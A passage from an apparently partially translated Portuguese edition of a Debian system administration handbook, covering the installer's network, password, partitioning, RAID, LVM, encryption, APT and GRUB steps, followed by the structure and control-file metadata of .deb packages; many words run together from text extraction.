4.2.7. DetectandoDispositivos de RedeEste passo automático tenta identificara placa de rede e carregar o módulocorrespondente. Se a detecçãoautomática falha, você pode selecionarmanualmente o módulo a carregar. Senenhum módulo funciona, é possívelcarregar um módulo específico de umperiférico removível. Esta últimasolução geralmente só é necessária se o

driver apropriado não está incluído nonúcleo Linux padrão, mas disponívelem outro lugar, como a página web dofabricante.

Este passo deve ser definitivamente umsucesso para as instalações netinst ebusinesscard, já que os pacotes Debiandevem ser carregados pela rede.

4.2.8. Configurando aRedeAnsioso por automatizar o processotanto quanto possível, o instaladortenta configurar uma rede DHCPautomaticamente. Se isto falhar, ele

oferece mais opções: tentar de novocom uma configuração DHCP normal,tentar uma configuração DHCPdeclarando o nome da máquina, ouestabelecer uma configuração de redeestática.

Esta última opção requer um endereçoIP, uma máscara de sub-rede, umendereço IP para um possível gateway,um nome de máquina, e um nome dedomínio.

DICA Configuração sem DHCP

If the local network is equipped with aDHCP server that you do not wish to usebecause you prefer to define a static IPaddress for the machine during

installation, you can add thenetcfg/use_dhcp=false option whenbooting from the CD-ROM. You just needto go to the desired menu entry bypressing the TAB key and add the desiredoption before pressing the Enter key.

ATENÇÃO Não improvise

Muitas redes locais são baseadas em umasuposição implícita que todas asmáquinas são confiáveis, e configuraçõesinadequadas de um único computadorirão frequentemente perturbar toda a rede.Como resultado, não conecte sua máquinaem uma rede sem primeiramente consultaro administrador sobre as configuraçõesapropriadas (por exemplo, o endereço IP,máscara de rede e endereços debroadcast).

4.2.9. Configurando orelógioIf the network is available, the system'sinternal clock is updated (in a one-shotway) from an NTP server. This way thetimestamps on logs will be correctfrom the first boot. For them to remainconsistently precise over time, an NTPdaemon needs to be set up after initialinstallation (see Section 8.9.2,“Sincronização de Tempo”).

4.2.10. Senha do

administradorA conta do superusuário root, reservadapara o administrador da máquina, éautomaticamente criada durante ainstalação, é por isto que uma senha érequerida. Uma confirmação (ou duasentradas idênticas) irá prevenirqualquer erro de entrada que poderiaser difícil de corrigir posteriormente.

Figure 4.5. Senha do administrador

SEGURANÇA Senha do administrador

The root user's password should be long(6 characters or more) and impossible toguess. Indeed, any computer (and afortiori any server) connected to theInternet is regularly targeted byautomated connection attempts with the

most obvious passwords. Sometimes itmay even be subject to dictionary attacks,in which many combinations of wordsand numbers are tested as password.Avoid using the names of children orparents, dates of birth, etc.: many of yourco-workers might know them, and yourarely want to give them free access to thecomputer in question.

Estas observações são igualmenteaplicáveis para senhas de outros usuários,mas as consequências de uma contacomprometida são menos drásticas parausuários sem privilégios administrativos.

Se estiver faltando inspiração, não hesiteem usar geradores de senha, como opwgen (no pacote de mesmo nome).

4.2.11. Criando oPrimeiro UsuárioDebian também impõe a criação deuma conta de usuário padrão para que oadministrador não adquira o mauhábito de trabalhar como root. Oprincípio da precaução,essencialmente, significa que cadatarefa é executada com os direitosmínimos necessários, a fim de limitaros danos causados por erro humano.Por isso, o instalador vai pedir o nomecompleto do usuário primeiro, seunome de usuário e sua senha (duasvezes, para evitar o risco de entradaerrada).

Figure 4.6. Nome do primeirousuário

4.2.12. DetectandoDiscos e OutrosDispositivos

Este passo automaticamente detecta osdiscos rígidos nos quais o Debian podeser instalado. Eles serão apresentadosno próximo passo: particionamento.

4.2.13. Iniciando aFerramenta dePartição

CULTURA Usos do particionamento

Particionamento, uma etapa indispensávelna instalação, consiste em dividir oespaço disponível em discos rígidos (cadasubdivisão deve ser chamado de uma"partição") de acordo com os dados a

serem armazenados nele e o uso a que sedestina o computador. Esta etapa incluitambém escolher os sistemas de arquivosa ser usado. Todas essas decisões terãoinfluência no desempenho, segurança dedados e a administração do servidor.

The partitioning step is traditionallydifficult for new users. It is necessaryto define the various portions of thedisks (or “partitions”) on which theLinux filesystems and virtual memory(swap) will be stored. This task iscomplicated if another operatingsystem that you want to keep is alreadyon the machine. Indeed, you will thenhave to make sure that you do not alterits partitions (or that you resize them

without causing damage).

Felizmente, o programa departicionamento tem um modo"guiado" que recomenda partições parao usuário fazer - na maioria dos casos,você pode simplesmente validar assugestões do programa.

Figure 4.7. Escolha do modo departicionamento

The first screen in the partitioning tooloffers the choice of using an entirehard drive to create various partitions.For a (new) computer which will solelyuse Linux, this option is clearly thesimplest, and you can choose theoption “Guided - use entire disk”. If the

computer has two hard drives for twooperating systems, setting one drive foreach is also a solution that canfacilitate partitioning. In both of thesecases, the next screen offers to choosethe disk where Linux will be installedby selecting the corresponding entry(for example, “SCSI3 (0,0,0) (sda) -12.9 GB ATA VBOX HARDDISK”).You then start guided partitioning.

Figure 4.8. Disco a utilizar paraparticionamento guiado

Assistente de particionamento tambémpode criar volumes lógicos LVM emvez de partições (veja abaixo). Umavez que o restante da operação é omesmo, não vamos passar por cima daopção "Guiado - usar o disco inteiro econfigurar LVM" (criptografado ou

não).

Em outros casos, quando o Linux devetrabalhar ao lado de outras partições jáexistentes, você precisa escolher oparticionamento manual.

4.2.13.1. Particionamentoguiado

A ferramenta de particionamentoguiada oferece três métodos departicionamento, que correspondem adiferentes usos.

Figure 4.9. Particionamento guiado

O primeiro método é chamado de"Tudo em uma partição". Toda a árvoredo sistema Linux são armazenados emum único sistema de arquivos, o quecorresponde à raiz /. Esteparticionamento simples e robusto seencaixa perfeitamente para sistemas

pessoais ou de um único usuário. Naverdade, serão criadas duas partições: aprimeira vai abrigar o sistemacompleto, a segunda a memória virtual(swap).

The second method, “Separate /home/partition”, is similar, but splits the filehierarchy in two: one partition containsthe Linux system (/), and the secondcontains “home directories” (meaninguser data, in files and subdirectoriesavailable under /home/).

The last partitioning method, called“Separate /home, /usr, /var, and /tmppartitions”, is appropriate for serversand multi-user systems. It divides the

file tree into many partitions: inaddition to the root (/) and useraccounts (/home/) partitions, it alsohas partitions for applications (/usr/),server software data (/var/), andtemporary files (/tmp/). Thesedivisions have several advantages.Users can not lock up the server byconsuming all available hard drivespace (they can only fill up /tmp/ and/home/). The daemon data (especiallylogs) can no longer clog up the rest ofthe system.

DE VOLTA AO BÁSICO Escolhendo umsistema de arquivos

A filesystem defines the way in whichdata is organized on the hard drive. Each

existing filesystem has its merits andlimitations. Some are more robust, othersmore effective: if you know your needswell, choosing the most appropriatefilesystem is possible. Variouscomparisons have already been made; itseems that ReiserFS is particularlyefficient for reading many small files;XFS, in turn, works faster with large files.Ext3, the default filesystem for Debian, isa good compromise, based on the twoprevious versions of filesystemshistorically used in Linux (ext and ext2).You could also choose its successor ext4,which overcomes certain limitations ofext3 and is particularly appropriate forvery large capacity hard drives. If you areparticularly brave, you could experimentwith the very promising btrfs, whichincludes numerous features that require,to this day, the use of LVM and/or RAID.

A journalized filesystem (such as ext3,ext4, btrfs, reiserfs, or xfs) takes specialmeasures to make it possible to return to aprior consistent state after an abruptinterruption without completelyanalyzing the entire disk (as was the casewith the ext2 system). This functionalityis carried out by filling in a journal thatdescribes the operations to conduct priorto actually executing them. If anoperation is interrupted, it will bepossible to “replay” it from the journal.Conversely, if an interruption occursduring an update of the journal, the lastrequested change is simply ignored; thedata being written could be lost, but sincethe data on the disk has not changed, theyhave remained coherent. This is nothingmore nor less than a transactionalmechanism applied to the filesystem.

After choosing the type of partition, thesoftware calculates a suggestion, anddescribes it on the screen; the user canthen modify it if needed. You can, inparticular, choose another filesystem ifthe standard choice (ext3) isn'tappropriate. In most cases, however,the proposed partitioning is reasonableand it can be accepted by selecting the“Finish partitioning and write changesto disk” entry.

Figure 4.10. Validando oparticionamento

4.2.13.2. Particionamentomanual

Particionamento manual permite umamaior flexibilidade, permitindo que ousuário escolha a finalidade e o

tamanho de cada partição. Além disso,este modo é inevitável, se você quiserusar o software RAID.

Em prática diminuindo uma partição doWindows.

Para instalar o Debian ao lado de umsistema operacional existente (Windowsou outro), você deve ter algum espaçodisponível no disco rígido que não estásendo usado por outro sistema, a fim deser capaz de criar as partições dedicadasao Debian. Na maioria dos casos, issosignifica diminuir uma partição doWindows e reutilizando o espaçoliberado.

The Debian installer allows this operationwhen using the manual mode for

partitioning. You only need to choose theWindows partition and enter its new size(this works the same with both FAT andNTFS partitions).

The first screen displays the availabledisks, their partitions, and any possiblefree space that has not yet beenpartitioned. You can select eachdisplayed element; pressing the Enterkey then gives a list of possibleactions.

Você pode apagar todas as partiçõesem um disco, selecionando-o.

When selecting free space on a disk,you can manually create a new

partition. You can also do this withguided partitioning, which is aninteresting solution for a disk thatalready contains another operatingsystem, but which you may wish topartition for Linux in a standardmanner. See the previous section formore details on guided partitioning.

DE VOLTA AO BÁSICO Ponto demontagem

O ponto de montagem é a árvore dediretório que vai abrigar o conteúdo dosistema de arquivos na partiçãoseleccionada. Assim, uma partiçãomontada em /home/ destina-setradicionalmente para conter dados deusuário.

When this directory is named “/”, it isknown as the root of the file tree, andtherefore the root of the partition that willactually host the Debian system.

DE VOLTA AO BÁSICO Memóriavirtual, swap

Virtual memory allows the Linux kernel,when lacking sufficient memory (RAM),to free a bit of storage by storing the partsof the RAM that have been inactive forsome time on the swap partition of thehard disk.

To simulate the additional memory,Windows uses a swap file that is directlycontained in a filesystem. Conversely,Linux uses a partition dedicated to thispurpose, hence the term “swap partition”.

When choosing a partition, you canindicate the manner in which you aregoing to use it:

format it and include it in the filetree by choosing a mount point;use it as a swap partition;make it into a “physical volumefor encryption” (to protect theconfidentiality of data on certainpartitions, see below);make it a “physical volume forLVM” (this concept is discussedin greater detail later in thischapter);use it as a RAID device (see laterin this chapter);

or the choice not to use it, andtherefore leave it unchanged.

4.2.13.3. ConfiguringMultidisk Devices (SoftwareRAID)

Some types of RAID allow theduplication of information stored onhard drives to prevent data loss in theevent of a hardware problem affectingone of them. Level 1 RAID keeps asimple, identical copy (mirror) of ahard drive on another drive, while level5 RAID splits redundant data overseveral disks, thus allowing thecomplete reconstruction of a failing

drive.

We will only describe level 1 RAID,which is the simplest to implement.The first step involves creating twopartitions of identical size located ontwo different hard drives, and to labelthem “physical volume for RAID”.

You must then choose “Configuresoftware RAID” in the partitioning toolto combine these two partitions into anew virtual disk and select “Create MDdevice” in the configuration screen.You then need to answer a series ofquestions about this new device. Thefirst question asks about the RAIDlevel to use, which in our case will be

“RAID1”. The second question asksabout the number of active devices —two in our case, which is the number ofpartitions that needs to be included inthis MD device. The third question isabout the number of spare devices —0; we have not planned any additionaldisk to take over for a possibledefective disk. The last questionrequires you to choose the partitionsfor the RAID peripheral — these wouldbe the two that we have set aside forthis purpose (make sure you only selectthe partitions that explicitly mention“raid”).

Back to the main menu, a new virtual“RAID” disk appears. This disk is

presented with a single partition whichcan not be deleted, but whose use wecan choose (just like for any otherpartition).

For further details on RAID functions,please refer to Section 12.1.1, “RAIDPor Software”.

4.2.13.4. Configuring theLogical Volume Manager(LVM)

LVM allows you to create “virtual”partitions that span over several disks.The benefits are twofold: the size ofthe partitions are no longer limited by

individual disks but by theircumulative volume, and you can at anytime increase the size of an existingpartition by adding an additional diskwhen needed.

LVM uses a particular terminology: avirtual partition is a “logical volume”,which is part of a “volume group”, oran association of several “physicalvolumes”. Each of these terms in factcorresponds to a “real” partition (or asoftware RAID device).

This technique works in a very simpleway: each volume, whether physical orlogical, is split into blocks of the samesize, which are made to correspond by

LVM. The addition of a new disk willcause the creation of a new physicalvolume, and these new blocks can beassociated to any volume group. All ofthe partitions in the volume group thatis thus expanded will have additionalspace into which they can extend.

The partitioning tool configures LVMin several steps. First you must createon the existing disks the partitions thatwill be “physical volumes for LVM”.To activate LVM, you need to choose“Configure the Logical VolumeManager (LVM)”, then on the sameconfiguration screen “Create a volumegroup”, to which you will associate theexisting physical volumes. Finally, you

can create logical volumes within thisvolume group. Note that the automaticpartitioning system is able to do all ofthis implementation.

In the partitioning menu, each physicalvolume will appear as a disk with asingle partition which can not bedeleted, but that you can use as desired.

The usage of LVM is described infurther detail in Section 12.1.2,“LVM”.

4.2.13.5. ConfigurandoPartições Criptografadas

To guarantee the confidentiality of

your data, for instance in the event ofthe loss or theft of your computer or ahard drive, it is possible to encrypt thedata on some partitions. This featurecan be added underneath anyfilesystem, since, as for LVM, Linux(and more particularly the dm-cryptdriver) uses the Device Mapper tocreate a virtual partition (whosecontent is protected) based on anunderlying partition that will store thedata in an encrypted form (thanks toLUKS, Linux Unified Key Setup, astandard format that enables thestorage of encrypted data as well asmeta-information that indicates theencryption algorithms used).

SECURITY Encrypted swap partition

When an encrypted partition is used, theencryption key is stored in memory(RAM). Since retrieving this key allowsthe decryption of the data, it is of utmostimportance to avoid leaving a copy of thiskey that would be accessible to thepossible thief of the computer or harddrive, or to a maintenance technician.This is however something that can easilyoccur with a laptop, since whenhibernating the contents of RAM is storedon the swap partition. If this partition isn'tencrypted, the thief may access the keyand use it to decrypt the data from theencrypted partitions. This is why, whenyou use encrypted partitions, it isimperative to also encrypt the swappartition!

The Debian installer will warn the user ifthey try to make an encrypted partitionwhile the swap partition isn't encrypted.

To create an encrypted partition, youmust first assign an available partitionfor this purpose. To do so, select apartition and indicate that it is to beused as a “physical volume forencryption”. After partitioning the diskcontaining the physical volume to bemade, choose “Configure encryptedvolumes”. The software will thenpropose to initialize the physicalvolume with random data (making thelocalization of the real data moredifficult), and will ask you to enter an“encryption passphrase”, which you

will have to enter every time you bootyour computer in order to access thecontent of the encrypted partition.Once this step has been completed, andyou have returned to the partitioningtool menu, a new partition will beavailable in an “encrypted volume”,which you can then configure just likeany other partition. In most cases, thispartition is used as a physical volumefor LVM so as to protect severalpartitions (LVM logical volumes) withthe same encryption key, including theswap partition (see sidebar).

4.2.14. Instalando oSistema Básico

This step, which doesn't require anyuser interaction, installs the Debian“base system” packages. This includesthe dpkg and apt tools, which manageDebian packages, as well as theutilities necessary to boot the systemand start using it. The Debian packagesare read from the disk (if using anetinst CD or a complete CD-/DVD-ROM) or downloaded (when using abusinesscard installation disk).

Figure 4.11. Instalação do sistemabásico

4.2.15. Configurandoo Gerenciador dePacote (apt)

In order to be able to install additionalsoftware, APT needs to be configuredand told where to find Debianpackages. This step is as automated aspossible. It starts with a questionasking if it must use a network sourcefor packages, or if it should only lookfor packages on the CD-ROM.

NOTE Debian CD-ROM in the drive

If the installer detects a Debianinstallation disk in the CD/DVD reader, itis not necessary to configure APT to golooking for packages on the network:APT is automatically configured to readpackages from a removable media drive.If the disk is part of a set, the softwarewill offer to “explore” other disks in

order to reference all of the packagesstored on them.

If getting packages from the network isrequested, the next two questions allowto choose a server from which todownload these packages, by choosingsuccessively a country and a mirroravailable in that country (a mirror is apublic server hosting copies of all thefiles of the Debian master archive).

Figure 4.12. Selecionando um espelhoDebian

Finally, the program proposes to use anHTTP proxy. If there is no proxy,Internet access will be direct. If youtypehttp://proxy.falcot.com:3128,APT will use the Falcot proxy/cache, a“Squid” program. You can find these

settings by checking the configurationsof a web browser on another machineconnected to the same network.

The files Packages.gz andSources.gz are then automaticallydownloaded to update the list ofpackages recognized by APT.

DE VOLTA AO BÁSICO Proxy HTTP

An HTTP proxy is a server that forwardsan HTTP request for network users. Itsometimes helps to speed up downloadsby keeping a copy of files that have beentransferred through it (we then speak ofproxy/cache). In some cases, it is the onlymeans of accessing an external webserver; in such cases it is essential toanswer the corresponding question during

installation for the program to be able todownload the Debian packages through it.

Squid é o nome do programa servidorusado pela Falcot Corp para oferecer esteserviço.

4.2.16. DebianPackage PopularityContestThe Debian system contains a packagecalled popularity-contest, whosepurpose is to compile package usagestatistics. Each week, this programcollects information on the packages

installed and those used recently, andanonymously sends this information tothe Debian project servers. The projectcan then use this information todetermine the relative importance ofeach package, which influences thepriority that will be granted to them. Inparticular, the most “popular” packageswill be included in the installation CD-ROM, which will facilitate their accessfor users who do not wish to downloadthem or to purchase a complete set.

This package is only activated ondemand, out of respect for theconfidentiality of users' usage.

4.2.17. Selecionando

Pacotes para aInstalaçãoThe following step allows you tochoose the purpose of the machine invery broad terms; the ten suggestedtasks correspond to lists of packages tobe installed. The list of the packagesthat will actually be installed will befine-tuned and completed later on, butthis provides a good starting point in asimple manner.

Some packages are also automaticallyinstalled according to the hardwaredetected (thanks to the programdiscover-pkginstall from the discover

package). For instance, if a VirtualBoxvirtual machine is detected, theprogram will install the virtualbox-ose-guest-dkms package, allowing forbetter integration of the virtualmachine with the host system.

Figure 4.13. Task choices

4.2.18. Installing theGRUB BootloaderThe bootloader is the first programstarted by the BIOS. This program

loads the Linux kernel into memoryand then executes it. It often offers amenu that allows the user to choose thekernel to load and/or the operatingsystem to boot.

BEWARE Bootloader and dual boot

This phase in the Debian installationprocess detects the operating systems thatare already installed on the computer, andautomatically adds corresponding entriesin the boot menu, but not all installationprograms do this.

In particular, if you install (or reinstall)Windows thereafter, the bootloader willbe erased. Debian will still be on the harddrive, but will no longer be accessiblefrom the boot menu. You would then have

to boot the Debian installation system inrescue mode to set up a less exclusivebootloader. This operation is described indetail in the installation manual.

→ http://www.debian.org/releases/stable/i386/ch08s07.html

By default, the menu proposed byGRUB contains all the installed Linuxkernels, as well as any other detectedoperating systems. This is why youshould accept the offer to install it inthe Master Boot Record. Since keepingolder kernel versions preserves theability to boot the same system if themost recently installed kernel isdefective or poorly adapted to thehardware, it is best to always keep at

least three older versions.

GRUB is the default bootloaderinstalled by Debian thanks to itstechnical superiority: it works withmost filesystems and therefore doesn'trequire an update after each installationof a new kernel, since it reads itsconfiguration during boot and finds theexact position of the new kernel.Version 1 of GRUB (now known as“Grub Legacy”) couldn't handle allcombinations of LVM and softwareRAID; version 2, installed by default,is more complete. There may still besituations where it is morerecommendable to install LILO(another bootloader); the installer will

suggest it automatically.

For more information on configuringGRUB, please refer to Section 8.8.3,“Configuração do GRUB 2”.

BEWARE Bootloaders and architectures

LILO and GRUB, which are mentioned inthis chapter, are bootloaders for i386 andamd64 architectures. If you install Debianon another architecture, you will need touse another bootloader. Among others, wecan cite yaboot or quik for powerpc, silofor sparc, elilo for ia64, aboot for alpha,arcboot for mips, atari-bootstrap orvme-lilo for m68k.

4.2.19. Finishing theInstallation andRebootingThe installation is now complete, theprogram invites you to remove the CD-ROM from the reader and to restart thecomputer.

4.3. After the FirstBootIf you activated the task “Graphicaldesktop environment”, the computerwill display the gdm login manager.

Figure 4.14. First boot

The user that has already been createdcan then log in and begin workingimmediately.

4.3.1. Installing

Additional SoftwareThe installed packages correspond tothe profiles selected duringinstallation, but not necessarily to theuse that will actually be made of themachine. As such, you might want touse a package management tool torefine the selection of installedpackages. The two most frequentlyused tools (which are installed if the“Graphical desktop environment”profile was chosen) are apt (accessiblefrom the command line) and synaptic(System → Administration → SynapticPackage Manager).

To facilitate the installation ofcoherent groups of programs, Debiancreates “tasks” that are dedicated tospecific uses (mail server, file server,etc.). You already had the opportunityto select them during installation, andyou can access them again thanks topackage management tools such asaptitude (the tasks are listed in adistinct section) and synaptic (throughthe menu Edit → Mark Packages byTask…).

Aptitude is an interface to APT in full-screen text mode. It allows the user tobrowse the list of available packagesaccording to various categories(installed or not-installed packages, by

task, by section, etc.), and to view allof the information available on each ofthem (dependencies, conflicts,description, etc.). Each package can bemarked “install” (to be installed, +key) or “remove” (to be removed, -key). All of these operations will beconducted simultaneously once you'veconfirmed them by pressing the g key(“g” for “go!”). If you have forgottensome programs, no worries; you will beable to run aptitude again once theinitial installation has been completed.

TIP Debian thinks of speakers of non-English languages

Several tasks are dedicated to thelocalization of the system in other

languages beyond English. They includetranslated documentation, dictionaries,and various other packages useful forspeakers of different languages. Theappropriate task is automatically selectedif a non-English language was chosenduring installation.

CULTURE dselect, the old interface toinstall packages

Before aptitude, the standard program toselect packages to be installed wasdselect, the old graphical interfaceassociated with dpkg. A difficult programfor beginners to use, it is notrecommended.

Of course, it is possible not to selectany task to be installed. In this case,you can manually install the desiredsoftware with the apt-get or aptitudecommand (which are both accessiblefrom the command line).

VOCABULARY Package dependencies,conflicts

In the Debian packaging lingo, a“dependency” is another packagenecessary for the proper functioning ofthe package in question. Conversely, a“conflict” is a package that can not beinstalled side-by-side with another.

These concepts are discussed in greaterdetail in Chapter 5, Sistema de Pacotes:Ferramentas e Princípios Fundamentais.

4.3.2. Upgrading theSystemA first aptitude safe-upgrade (acommand used to automatically updateinstalled programs) is generallyrequired, especially for possiblesecurity updates issued since therelease of the latest Debian stableversion. These updates may involvesome additional questions throughdebconf, the standard Debianconfiguration tool. For furtherinformation on these updatesconducted by aptitude, please refer to

Section 6.2.3, “Atualização dosistema”.

Chapter 5. Sistemade Pacotes:Ferramentas ePrincípiosFundamentaisComo um administrador de sistemasDebian, você rotineiramente manipulapacotes .deb, já que eles contêmunidades funcionais consistentes(aplicações, documentação, etc.), cujasinstalação e manutenção eles facilitam.Logo é uma boa ideia saber exatamente

o que são e como usá-los.

Este capítulo descreve a estrutura econteúdo dos pacotes "binários" e"fontes". Os primeiros são arquivos.deb, diretamente usáveis pelo dpkg,enquanto os segundos contém o códigofonte, assim como as instruções paraconstruir os pacotes binários.

5.1. Estrutura deum Pacote BinárioO pacote Debian foi projetado para queseu conteúdo possa ser extraído emqualquer sistema Unix que contenha os

clássicos comandos ar, tar, e gzip.Esta aparentemente característicatrivial é importante para aportabilidade e recuperação em caso dedesastre.

Imagine, por exemplo, que vocêapagou acidentalmente o programadpkg, e que portanto você não podemais instalar pacotes Debian. dpkgsendo um pacote Debian ele mesmo, "itwould seem your system would bedone for..." Felizmente, você conhece oformato de um pacote e pode entãobaixar o arquivo .deb do pacote dpkg einstalar ele manualmente (veja a barralateral “TOOLS (FERRAMENTAS)”).Se por algum infortúnio um ou mais

dos programas ar, tar ou gzipsumiram, você precisa apenas copiar oprograma faltoso de outro sistema (jáque qualquer um destes opera de modototalmente autônomo, semdependências, uma simples cópia serásuficiente).

FERRAMENTAS dpkg, APT e ar

dpkg é um programa que manipulaarquivos .deb, notavelmente extraindo,analisando, e desempacotando osmesmos.

APT é um conjunto de programas quepermite a execução alto nível demodificações no sistema: instalando ouremovendo pacotes (enquanto satisfazdependências), atualizando o sistema,

listando pacotes disponíveis, etc.

Assim como o programa ar, ele permitemanipular arquivos do mesmo nome: ar tarquivamento mostra a lista de arquivoscontidos no arquivamento, ar xarquivmento extrai os arquivos doarquivamento para a pasta de trabalhoatual, ar d arquivamento arquivo apagaum arquivo do arquivamento, etc. Suapágina man (ar(1)) documenta suasmuitas outras operações. ar é umaferramenta muito rudimentar que umadministrador Unix usará muito pouco,mas os admins usarão com frequencia otar, um programa de gerencia de arquivose arquivamentos. É por isso que é fácilrecuperar o dpkg no caso de uma remoçãoerrada. Você terá apenas que baixar opacote Debian e extrair o conteúdo doarquivamento data.tar.gz na raiz do

sistema (/):

# ar x dpkg_1.15.8.5_i386.deb

# tar -C / -p -xzf data.tar.gz

DE VOLTA AO BÁSICO Notação depáginas de manual

Pode ser confuso para iniciantesencontrar referências ao “ar(1)” naliteratura. Isto é geralmente uma formaconveniente de se referir à página manintitulada ar na seção 1.

Algumas vezes esta notação é tambémusada para remover ambiguidades, porexemplo para distinguir entre o comandoprintf que pode ser indicado por printf(1)e a função printf da linguagem deprogramação C, que pode ser indicada porprintf(3).

Chapter 7, Resolvendo Problemas eEncontrando Informações Relevantesdiscussão das páginas de manual maisdetalhadamente (veja Section 7.1.1,“Páginas do Manual”).

Dê uma olhada no conteúdo de umarquivo .deb:

$ ar t dpkg_1.15.8.5_i386.deb

debian-binary

control.tar.gz

data.tar.gz

$ ar x dpkg_1.15.8.5_i386.deb

$ ls

control.tar.gz data.tar.gz debian-binary dpkg_1.15.8.5_i386.deb

$ tar tzf data.tar.gz | head -15

./

./var/

./var/lib/

./var/lib/dpkg/

./var/lib/dpkg/updates/

./var/lib/dpkg/parts/

./var/lib/dpkg/info/

./var/lib/dpkg/alternatives/

./sbin/

./sbin/start-stop-daemon

./usr/

./usr/sbin/

./usr/sbin/install-info

./usr/bin/

./usr/bin/dpkg-split

$ tar tzf control.tar.gz

./

./control

./preinst

./md5sums

./conffiles

./postrm

./postinst

$ cat debian-binary

2.0

Como você pode ver, o arquivo ar deum pacote Debian é composto de trêsarquivos:

debian-binary. Este é umarquivo texto que simplesmenteindica a versão do arquivo .debusado (em 2011: version 2.0).control.tar.gz. Estearquivamento contém todas meta-informações disponíveis. Nele asferramentas de gerencia depacotes encontram, entre outrascoisas, o nome e a versão dopacote. Algumas destas meta-informações permitem determinarse é possível instalar e desinstalaro pacote, por exemplo, de acordo

com a lista de pacotes jáinstalados na máquina.data.tar.gz. Este arquivamentocontém todos os arquivos paraserem extraídos do pacote; é ondeos arquivos executáveis,documentação, etc, estão todosestocados. Alguns pacotes podemusar outros formatos decompressão, e neste caso oarquivo terá um nome diferente(data.tar.bz2 para bzip2,data.tar.xz para XZ,data.tar.lzma para LZMA).

5.2. Metainformaçãodo PacoteO pacote Debian não é apenas umarquivamento de arquivos prontos paraserem instalados. Ele é parte de umtodo, e descreve sua relação com outrospacotes Debian (dependências,conflitos, sugestões). Ele tambémfornece scripts que habilitam aexecução de comandos em diferentesestágios do ciclo de vida do pacote(instalação, remoção, atualizações).Estes dados usados pelas ferramentasde gerencia de pacotes não são parte doprograma empacotado, mas são, junto

com o pacote, o que chamamos de sua“meta-informação” (informação sobreoutras informações).

5.2.1. Descrição: Oarquivo controlEste arquivo usa uma estrutura similara cabeçalhos de email (como foidefinido pela RFC 2822). Por exemplo,para apt, o arquivo control parececom algo como:

$ apt-cache show apt

Package: apt

Priority: important

Section: admin

Installed-Size: 5612

Maintainer: APT Development Team <[email protected]>

Architecture: i386

Version: 0.8.0

Replaces: manpages-pl (<< 20060617-3~)

Provides: libapt-pkg4.10

Depends: libc6 (>= 2.3.4), libgcc1 (>= 1:4.1.1), libstdc++6 (>= 4.4.0), zlib1g (>= 1:1.1.4), debian-archive-keyring, gnupg

Suggests: aptitude | synaptic | wajig, dpkg-dev, apt-doc, bzip2, lzma, python-apt

Conflicts: python-apt (<< 0.7.93.2~)

Filename: pool/main/a/apt/apt_0.8.0_i386.deb

Size: 1965454

MD5sum: 43364819b898e49b8175e88ec5787241

SHA1: 350a8a7a43fe182d54f3b7d73b8032f85b5d7ddf

SHA256: a593e7d7f9b3cffa37770201a3c13bd2c8bc588bafbf39b4aaa5e13b5fb00b8b

Description: interface avançada do dpkg

Esta é a a nova geração de interface para o gerenciador de pacotes dpkg

do Debian. Ela fornece o utilitário apt-get e o método APT dselect que

fornece uma forma simples e segura de instalar e atualizar pacotes.

.

O APT dispõe de ordem de instalação completa, capacidade de lidar com

múltiplas origens e muitas outras funcionalidades únicas. Veja no Guia

do Usuário em apt-doc.

Tag: admin::package-management, hardware::storage, hardware::storage:cd, interface::commandline, network::client, protocol::{ftp,http,ipv6}, role::program, suite::debian, use::downloading, use::searching, works-with::software:package

DE VOLTA AO BÁSICO RFC — Padrõesda Internet

RFC é a sigla de “Request For Comments”(requisitando comentários). Um RFC égeralmente um documento técnico quedescreve o que se tornará um padrão deInternet. Antes de se padronizar econgelar, estes padrões são submetidospara revisão pública (por isto o nome). OIETF (Internet Engineering Task Force -Força-tarefa de Engenharia da Internet)decide sobre a evolução do status destesdocumentos (proposed standard - padrãoproposto, draft standard - padrãorascunho ou standard - padrão).

RFC 2026 define o processo de

padronização dos protocolos de Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dependências: ocampo Depends (depende de)

As dependências são definidas nocampo Depends no cabeçalho dopacote. Este campo é uma lista decondições a serem satisfeitas para opacote funcionar corretamente — Estainformação é usada por ferramentascomo o apt para instalar as biblitecasnecessárias, nas versões corretas, que opacote a ser instalado depende. Paracada dependência é possível restringir

o intervalo de versões que satisfazemesta condição. Em outras palavras, épossível expressar o fato de que nósprecisamos do pacote libc6 em umaversão igual ou superior a “2.3.4”(escreve-se “libc6 (>= 2.3.4)”).Operadores de comparação de versãosão os seguintes:

<<: menor que;<=: menor ou igual que;=: igual a (obs, “2.6.1” não éigual a “2.6.1-1”);>=: maior ou igual que;>>: maior que.

Numa lista de condições para seremsatisfeitas, a vírgula serve como um

separador. Em lógica, seu significadopode ser interpretado como um "e"lógico. Em condições, a barra vertical(“|”) expressa um “ou” lógico (é um“ou” inclusivo, ao contrário de um“e/ou”). tem prioridade sobre o “e”,pode ser usado tanto quanto necessário.Portanto, a dependência “(A ou B) e C”é escrita como A | B, C. Por outro lado,a expressão “A ou (B e C)” deve serescrita como “(A ou B) e (A ou C)”,uma vez que o campo Depends nãoaceita parêntesis que mudem a ordemde prioridades entre os operadoreslógicos “ou” e “e”. Ele poderia serescrito, portanto, como A | B, A | C.

→ http://www.debian.org/doc/debian-

policy/ch-relationships.html

O sistema de dependências é um bommecanismo para garantir a operação deum programa, mas ele tem outro usocom os "meta-pacotes". Estes sãopacotes vazios que apenas descrevemdependências. Eles facilitam ainstalação de um grupo consistente deprogramas pré-selecionados pelomantenedor do meta-pacote; assim,apt-get install meta-package vaiinstalar automaticamente todos osprogramas nas dependências do meta-pacote. Os pacotes gnome, kde e linux-image-2.6-686 são exemplos de meta-pacotes.

DEBIAN POLICY Pre-Depends, umDepends mais exigente

“Pré-dependências”, que são listadas nocampo “Pre-Depends” nos cabeçalhos dospacotes, completam as dependênciasnormais; suas sintaxes são idênticas. Umadependência normal indica que o pacoteem questão deve ser desempacotado econfigurado antes do pacote que declaroudependência. Uma pré-dependênciaestipula que o pacote em questão deve serdesempacotado e configurado antes daexecução do script de pré-instalação dopacote declarando dependência, que éantes da sua instalação.

Uma pré-dependência é muito pesadapara o apt, por que ela adiciona umarestrição estrita na ordem dos pacotes ainstalar. Desta forma, pré-dependências

são desencorajadas a menos queabsolutamente necessárias. É até mesmorecomendado consultar outrosdesenvolvedores no <[email protected]> antes deadicionar uma pré-dependência.Geralmente é possível encontrar outrasolução que resolva o problema.

Os campos DEBIAN POLICY,Recommends, Suggests e Enhances

